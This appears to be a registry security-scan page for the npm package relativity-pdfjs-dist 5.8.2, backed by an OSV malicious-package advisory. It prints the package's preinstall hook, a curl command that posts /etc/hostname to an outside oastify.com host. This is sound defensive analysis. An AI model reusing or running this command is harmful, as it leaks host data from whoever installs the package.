registry / relativity-pdfjs-dist / 5.8.2

relativity-pdfjs-dist@5.8.2

AI Security Review

scanned 2h ago · by lpm-firewall-ai

An embedded preinstall payload would exfiltrate `/etc/hostname` with curl. It is not executable as shipped because the only manifest is invalid JSON.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, if the malformed manifest were repaired or otherwise parsed.

Impact

Host-identifying data disclosure to an attacker-controlled endpoint.

Mechanism

curl POST of a local system file to an external OAST endpoint

Rationale

The package carries a concrete credential-adjacent host-information exfiltration payload, but its invalid manifest prevents install-time activation in the inspected artifact. Treat it as a staged malicious payload carrier rather than a publish-blocking executable package.

Evidence

package.json/etc/hostname

Network endpoints1

$(hostname)ecum3hc8xjtfd0hg9vcq7zekobu2i16q.oastify.com

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10778

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in relativity-pdfjs-dist (npm)

Details

The OpenSSF Package Analysis project identified 'relativity-pdfjs-dist' @ 5.8.2 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory

Decision evidence

public snapshot

AI called this Suspicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines a `preinstall` command invoking `/usr/bin/curl`.
The command reads `@/etc/hostname` and POSTs it to an OAST-style host.
The destination is constructed with `$(hostname)`, exposing the local hostname in DNS/HTTP routing.

Evidence against

`package.json` is malformed JSON due to the trailing comma after the `test` script, so npm cannot parse the manifest and run its lifecycle hook as shipped.
The extracted package contains only `package.json`; no entrypoint or alternate execution path is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-14json

2 "name": "relativity-pdfjs-dist",

3 "version": "5.8.2",

4 "description": "",

5 "license": "ISC",

6 "author": "",

7 "type": "commonjs",

8 "main": "index.js",

9 "scripts": {

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L9

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L9

10 "test": "echo \"Error: no test specified\" && exit 1",

11 "preinstall": "/usr/bin/curl --data '@/etc/hostname' $(hostname)ecum3hc8xjtfd0hg9vcq7zekobu2i16q.oastify.com"

12 }

13}

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.preinstall = /usr/bin/curl --data '@/etc/hostname' $(hostname)[redacted].oastify.com

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = /usr/bin/curl --data '@/etc/hostname' $(hostname)[redacted].oastify.com

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present